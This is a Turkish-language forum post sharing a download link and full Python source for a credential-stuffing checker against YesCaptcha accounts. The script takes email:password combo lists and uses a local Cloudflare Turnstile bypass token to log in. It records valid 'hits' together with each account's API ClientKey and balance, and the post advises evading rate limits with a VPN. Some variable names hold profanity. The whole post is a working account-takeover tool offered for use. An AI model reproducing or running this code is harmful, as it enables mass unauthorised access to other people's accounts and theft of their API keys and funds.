44
Mesajlar
2,750
Tcoin
Bronz
%44
Link: https://dosya.co/49uddqt9uxwc/yescap.rar.html
ClientKey:
Balance:
pip install pywebview requests
Rate limt yerseniz Vpn le bypasslaya bilirsiniz
Örnek Capture
ClientKey:
Balance:
Nasıl Kullanılır?
- İlk olarak cfbp.py dosyasını çalıştırın.
- Ardından yescap.py dosyasını açarak işlemi başlatın.
Gerekli Kütüphaneler (Libraries)
Projeyi çalıştırmadan önce bilgisayarınızda Python'ın kurulu olduğundan ve aşağıdaki kütüphanelerin yüklendiğinden emin olun.Komut satırını (CMD veya Terminal) açarak şu komutla gerekli kütüphaneleri indirebilirsinizNot: os, json, time, re ve sys kütüphaneleri Python ile dahili (yerleşik) olarak gelir, harici bir indirme gerektirmez. Sadece aşağıdaki harici kütüphaneleri yüklemeniz yeterlidir:
pip install pywebview requests
Rate limt yerseniz Vpn le bypasslaya bilirsiniz
Kod:
Bu da GUI'siz olanı.
import requests
import re
import sys
def check_account(email: str, password: str) -> dict:
"""
YesCaptcha hesap kontrol fonksiyonu.
Dönen dict: {"status": "SUCCESS"|"FAILURE"|"2FACTOR", ...}
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Pragma": "no-cache",
"Accept": "*/*",
}
session = requests.Session()
session.headers.update(headers)
r = session.get("http://127.0.0.1:5001/get-token")
r.raise_for_status()
match = re.search(r'"token"\s*:\s*"([^"]+)"', r.text)
if not match:
raise ValueError("Token parse edilemedi. Yanıt: " + r.text[:200])
tokeninisikiimmmmm = match.group(1)
r = session.get("https://yescaptcha.com/auth/login?next=%2Fdashboard.html")
r.raise_for_status()
match = re.search(
r'<input\s+id="csrf_token"\s+name="csrf_token"\s+type="hidden"\s+value="([^"]+)"',
r.text,
)
if not match:
raise ValueError("CSRF token parse edilemedi.")
csrftokenflnfilanamınakoyumsenin = match.group(1)
login_data = {
"csrf_token": csrftokenflnfilanamınakoyumsenin,
"email": email,
"password": password,
"remember_me": "y",
"cf-turnstile-response": tokeninisikiimmmmm,
}
r = session.post(
"https://yescaptcha.com/auth/login?next=%2Fdashboard.html",
data=login_data,
headers={"Content-Type": "application/x-www-form-urlencoded", **headers},
)
r.raise_for_status()
source = r.text
failure_keys = [
"User does not exist or email is incorrect!",
"Incorrect password!",
]
twofactor_keys = [
"Two-Factor F2A Verification",
]
success_keys = [
"Configure successful",
]
for key in failure_keys:
if key in source:
return {"status": "FAILURE", "reason": key}
for key in twofactor_keys:
if key in source:
return {"status": "2FACTOR"}
is_success = any(key in source for key in success_keys)
if not is_success:
return {"status": "FAILURE", "reason": "yanlis Kulanıcı Adı ve Şifre Fln"}
r = session.get("https://yescaptcha.com/dashboard.html")
r.raise_for_status()
dash = r.text
match = re.search(
r'id="ClientKey"\s+placeholder="Search"\s+aria-label="Search"\s+value="([^"]+)"',
dash,
)
clientKeyApıkeymiyanişimdibenyalışmıanlıyorum = match.group(1) if match else "N/A"
match = re.search(r'<span\s+id="balanceTag">([^<]+)</span>', dash)
parahiçbirşeydenönemliDeğil = match.group(1) if match else "N/A"
return {
"status": "SUCCESS",
"ClientKey": clientKeyApıkeymiyanişimdibenyalışmıanlıyorum,
"balance": parahiçbirşeydenönemliDeğil,
}
if __name__ == "__main__":
import os
script_dir = os.path.dirname(os.path.abspath(__file__))
acc_file = os.path.join(script_dir, "acc.txt")
success_file = os.path.join(script_dir, "success.txt")
if not os.path.isfile(acc_file):
print(f"[!] acc.txt bulunamadı: {acc_file}")
sys.exit(1)
with open(acc_file, "r", encoding="utf-8") as f:
lines = [line.strip() for line in f if line.strip()]
total = len(lines)
print(f"[*] Toplam {total} hesap yüklendi.\n")
success_count = 0
fail_count = 0
twofactor_count = 0
error_count = 0
for i, line in enumerate(lines, 1):
if ":" not in line:
print(f"[{i}/{total}] ATLA — Geçersiz satır: {line}")
continue
email, password = line.split(":", 1)
try:
result = check_account(email, password)
status = result["status"]
if status == "SUCCESS":
success_count += 1
client_key = result.get("ClientKey", "N/A")
balance = result.get("balance", "N/A")
hit_line = f"{email}:{password} | ClientKey: {client_key} | Balance: {balance}"
print(f"[{i}/{total}] ✅ SUCCESS — {hit_line}")
with open(success_file, "a", encoding="utf-8") as sf:
sf.write(hit_line + "\n")
elif status == "2FACTOR":
twofactor_count += 1
print(f"[{i}/{total}] ⚠️ 2FACTOR — {email}")
else:
fail_count += 1
reason = result.get("reason", "")
print(f"[{i}/{total}] ❌ FAIL — {email} ({reason})")
except Exception as e:
error_count += 1
print(f"[{i}/{total}] 💥 ERROR — {email} → {e}")
print(f"\n{'='*50}")
print(f" Toplam : {total}")
print(f" ✅ Başarılı: {success_count}")
print(f" ❌ Başarısız: {fail_count}")
print(f" ⚠️ 2FA : {twofactor_count}")
print(f" 💥 Hata : {error_count}")
print(f"{'='*50}")
if success_count > 0:
print(f"\n[✓] Başarılı hesaplar → {success_file}")